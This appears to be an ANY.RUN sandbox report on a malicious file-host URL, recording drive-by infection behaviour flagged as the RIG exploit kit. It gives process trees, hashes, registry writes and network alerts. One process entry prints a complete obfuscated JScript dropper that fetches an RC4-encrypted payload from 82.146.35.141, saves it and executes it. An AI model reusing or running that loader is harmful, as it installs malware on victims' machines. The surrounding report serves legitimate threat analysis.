URL:

https://www65.zippyshare.com/v/nA0fJMtI/file.html

Full analysis: https://app.any.run/tasks/8ab48985-417c-489f-be19-ac7d7df168c7
Verdict: Malicious activity
Analysis date: March 09, 2020, 06:29:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MD5:

D4A0C77B52CACB953F4C201883AB6D37

SHA1:

4A60C41B5EFEC5FAD5F0C585D51A542742FED967

SHA256:

D855B2F4FD67C25978339FB8B6144C1DA2CE9A2D8F8C43F1E7DD45AEEC6C99C9

SSDEEP:

3:N8DSTAwGKjKFKoLUJ:2OTAwGjFKWUJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • iexplore.exe (PID: 3348)
      • iexplore.exe (PID: 1140)
      • iexplore.exe (PID: 1708)

    • Application was dropped or rewritten from another process

      • gcbqax8w.exe (PID: 3944)
      • 3ngl41xb.exe (PID: 952)
      • 4gj5667t.exe (PID: 3064)

  • SUSPICIOUS

    • Executed via COM

      • FlashUtil32_26_0_0_131_ActiveX.exe (PID: 3384)

    • Executable content was dropped or overwritten

      • wscript.exe (PID: 3312)
      • wscript.exe (PID: 1636)
      • wscript.exe (PID: 3748)
      • WinRAR.exe (PID: 3052)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3312)
      • wscript.exe (PID: 1636)
      • wscript.exe (PID: 3748)

    • Executes scripts

      • cmd.exe (PID: 1348)
      • cmd.exe (PID: 2740)
      • cmd.exe (PID: 2296)

  • INFO

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2864)
      • iexplore.exe (PID: 3180)
      • iexplore.exe (PID: 3992)
      • iexplore.exe (PID: 1812)
      • iexplore.exe (PID: 3348)
      • iexplore.exe (PID: 1140)
      • iexplore.exe (PID: 2060)
      • iexplore.exe (PID: 1708)
      • iexplore.exe (PID: 3680)
      • iexplore.exe (PID: 3296)

    • Creates files in the user directory

      • iexplore.exe (PID: 3180)
      • FlashUtil32_26_0_0_131_ActiveX.exe (PID: 3384)
      • iexplore.exe (PID: 1812)
      • iexplore.exe (PID: 3992)
      • iexplore.exe (PID: 2864)
      • iexplore.exe (PID: 3348)
      • iexplore.exe (PID: 2060)
      • iexplore.exe (PID: 3680)
      • iexplore.exe (PID: 3296)

    • Changes internet zones settings

      • iexplore.exe (PID: 2864)

    • Modifies the phishing filter of IE

      • iexplore.exe (PID: 2864)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 1812)
      • iexplore.exe (PID: 3992)
      • iexplore.exe (PID: 3180)
      • iexplore.exe (PID: 2864)
      • iexplore.exe (PID: 3348)
      • iexplore.exe (PID: 3680)
      • iexplore.exe (PID: 2060)
      • iexplore.exe (PID: 3296)

    • Reads internet explorer settings

      • iexplore.exe (PID: 1812)
      • iexplore.exe (PID: 3180)
      • iexplore.exe (PID: 3992)
      • iexplore.exe (PID: 3348)
      • iexplore.exe (PID: 2060)
      • iexplore.exe (PID: 1140)
      • iexplore.exe (PID: 1708)
      • iexplore.exe (PID: 744)
      • iexplore.exe (PID: 3680)
      • iexplore.exe (PID: 3296)

    • Application launched itself

      • iexplore.exe (PID: 2864)

    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 2864)

    • Changes settings of System certificates

      • iexplore.exe (PID: 2864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
74
Monitored processes
25
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe flashutil32_26_0_0_131_activex.exe no specs iexplore.exe iexplore.exe iexplore.exe cmd.exe no specs wscript.exe cmd.exe no specs 4gj5667t.exe no specs iexplore.exe iexplore.exe cmd.exe no specs wscript.exe cmd.exe no specs gcbqax8w.exe no specs iexplore.exe cmd.exe no specs wscript.exe cmd.exe no specs 3ngl41xb.exe no specs iexplore.exe no specs iexplore.exe iexplore.exe winrar.exe

Process information

PID
CMD
Path
Indicators
Parent process
740"C:\Windows\System32\cmd.exe" /c 3ngl41xb.exeC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
744"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2864 CREDAT:78849 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
9523ngl41xb.exeC:\Users\admin\AppData\Local\Temp\Low\3ngl41xb.exe—cmd.exe
User:
admin
Company:
Simon Tatham
Integrity Level:
LOW
Description:
SSH, Telnet and Rlogin client
Exit code:
0
Version:
Release 0.64
Modules
Images
c:\users\admin\appdata\local\temp\low\3ngl41xb.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\gdi32.dll
1140"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2864 CREDAT:3937637 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
3221225477
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
1248"C:\Windows\System32\cmd.exe" /c 4gj5667t.exeC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1296"C:\Windows\System32\cmd.exe" /c gcbqax8w.exeC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1348cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="p"+"ow",j=36;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j).slice(1)};function V(k){var y=a(e+"."+e+"Request.5.1");y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinHTTP",Z="cmd",j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(31^<d){var z=1;x+="dll"}else x+=p;s["sav"+"etofile"](x,2);s.Close();f="r";z^&^&(x="regsv"+f+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(x){};q.Deletefile(K);>1.tmp && start wscript //B //E:JScript 1.tmp "vcbdf45" "http://82.146.35.141/?NDcyNjI2&HUoSjRCCH&MCclfiyfm=consignment&izD=electrical&oDJt=community&QoeRG=callous&DgcRZJtW=mustard&RApXDhXn=filly&t4f4=LsFPwTm2RSJLgxhlNpVUFxA_6-u2kaAzRaagJ_RrBGJYw1FraKSErYz2FjyzrYkLYsk9w&Zdnp=filly&Jareee=consignment&GsZi=mustard&KVICwYzaf=mustard&OGKTx=abettor&f2fs=w3bQMvXcJxbQFYbGMvLDSKNbNkfWHViPxoiG9MildZiqZGX_k7vDfF-qoVTcCgWRxfove&NIH=consignment&rnIkKZmebMTYwNDk2" "¤"C:\Windows\system32\cmd.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1636wscript //B //E:JScript 1.tmp "vcbdf45" "http://82.146.35.141/?MTEwMDU4&LpWdin&krLe=callous&t4f4=LsFPwvm2RSJLgNhlNpVUFxA_6-u2keAzRaagJHRrBGJYwNFraKQEbgz3FvwzLYkLYsk9w&f2fs=w3fQMvXcJxbQFYbGMvLDSKNbNkjWHViPxoaG9MildZaqZGX_k7rDfF-qoVTcCgWRxfove&VXITqLTtt=irreverent&zWXIzwxHP=irreverent&mBBkjaG=disagree&wMkfCUO=callous&haTYXon=abettor&IQJJJH=accelerator&jcXlHkN=callous&KcrcKF=neighboring&zPhtHV=professional&ujxsSq=disagree&YtcadIi=neighboring&MxPJJxUwNDE4NTgy" "¤"C:\Windows\system32\wscript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1708"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2864 CREDAT:3216669 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
3221225477
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
1812"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2864 CREDAT:1119493 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
Total events
9 752
Read events
4 111
Write events
3 920
Delete events
1 721

Modification events

(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateLowDateTime
Value:
878467096
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
30799324
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
46000000A1000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2864) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
4
Suspicious files
155
Text files
173
Unknown types
77

Dropped files

PID
Process
Filename
Type
3180iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\Cab7B62.tmp —
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\Tar7B63.tmp —
MD5:—
SHA256:—
2864iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\MFAQUS6V\file[1].htmhtml
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\DY534W2X\viewjs-e44544f03b22fab45334dcdb8a6b3b0931e845ad[1].csstext
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BC570EC0DE58335AFAF92FDC8E3AA330_08B11A0DA76B3AB3BD421991F2318C1Dbinary
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\WQ37RWQU.txttext
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\DY534W2X\viewjs-b5af86fa1522edfe99ee6c9472e53cc88f2dc9a5[1].jstext
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BE8B021F9E811DFC8C8A28572A17C05A_EE6FD365CEA70AC1381BEED92EFF2B2Dbinary
MD5:—
SHA256:—
3180iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288Bder
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
68
TCP/UDP connections
233
DNS requests
74
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEBPqKHBb9OztDDZjCYBhQzY%3D
US
der
471 b
whitelisted
3180
iexplore.exe
GET
200
172.217.18.163:80
http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDvdxhhS3x8DggAAAAALnGY
US
der
472 b
whitelisted
3180
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D
US
der
471 b
whitelisted
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
US
der
727 b
whitelisted
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
US
der
727 b
whitelisted
3180
iexplore.exe
GET
200
172.217.18.163:80
http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCSaJP2bCz9oAgAAAAALnFI
US
der
472 b
whitelisted
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQD1UO%2BwbfMiA%2FILHe8EOtNb
US
der
472 b
whitelisted
3180
iexplore.exe
GET
200
151.101.2.133:80
http://ocsp2.globalsign.com/gsalphasha2g2/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBSE1Wv4CYvTB7dm2OHrrWWWqmtnYQQU9c3VPAhQ%2BWpPOreX2laD5mnSaPcCDCoGkA8bDYHZm5x0bw%3D%3D
US
der
1.49 Kb
whitelisted
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEBPqKHBb9OztDDZjCYBhQzY%3D
US
der
471 b
whitelisted
3180
iexplore.exe
GET
200
151.139.128.14:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQDJzHdWtGaEjwP4azdkLZou
US
der
472 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3180
iexplore.exe
46.166.139.196:443
www65.zippyshare.com
NForce Entertainment B.V.
NL
unknown
3180
iexplore.exe
151.101.2.133:80
ocsp.globalsign.com
Fastly
US
malicious
3180
iexplore.exe
13.35.254.163:443
d10lumateci472.cloudfront.net
—
US
suspicious
3180
iexplore.exe
23.210.248.44:443
s7.addthis.com
Akamai International B.V.
NL
whitelisted
3180
iexplore.exe
35.190.68.123:443
www.maxonclick.com
Google Inc.
US
whitelisted
3180
iexplore.exe
173.192.101.24:443
p232207.clksite.com
SoftLayer Technologies Inc.
US
suspicious
3180
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3180
iexplore.exe
172.217.16.138:443
fonts.googleapis.com
Google Inc.
US
whitelisted
3180
iexplore.exe
104.18.20.17:443
aphycolourses.info
Cloudflare Inc
US
unknown
3180
iexplore.exe
34.196.230.232:443
distinesseqe.site
Amazon.com, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
www65.zippyshare.com
  • 46.166.139.196
suspicious
ocsp.globalsign.com
  • 151.101.2.133
  • 151.101.66.133
  • 151.101.130.133
  • 151.101.194.133
whitelisted
ocsp2.globalsign.com
  • 151.101.2.133
  • 151.101.66.133
  • 151.101.130.133
  • 151.101.194.133
whitelisted
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
d10lumateci472.cloudfront.net
  • 13.35.254.163
  • 13.35.254.226
  • 13.35.254.116
  • 13.35.254.2
whitelisted
s7.addthis.com
  • 23.210.248.44
whitelisted
www.maxonclick.com
  • 35.190.68.123
whitelisted
p232207.clksite.com
  • 173.192.101.24
whitelisted
www.google.com
  • 172.217.16.196
malicious

Threats

PID
Process
Class
Message
3348
iexplore.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
3312
wscript.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
3312
wscript.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (xa4)
1140
iexplore.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
1636
wscript.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
1636
wscript.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (xa4)
1708
iexplore.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
3748
wscript.exe
A Network Trojan was detected
ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017
3748
wscript.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (xa4)
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
https://www65.zippyshare.com/v/nA0fJMtI/file.html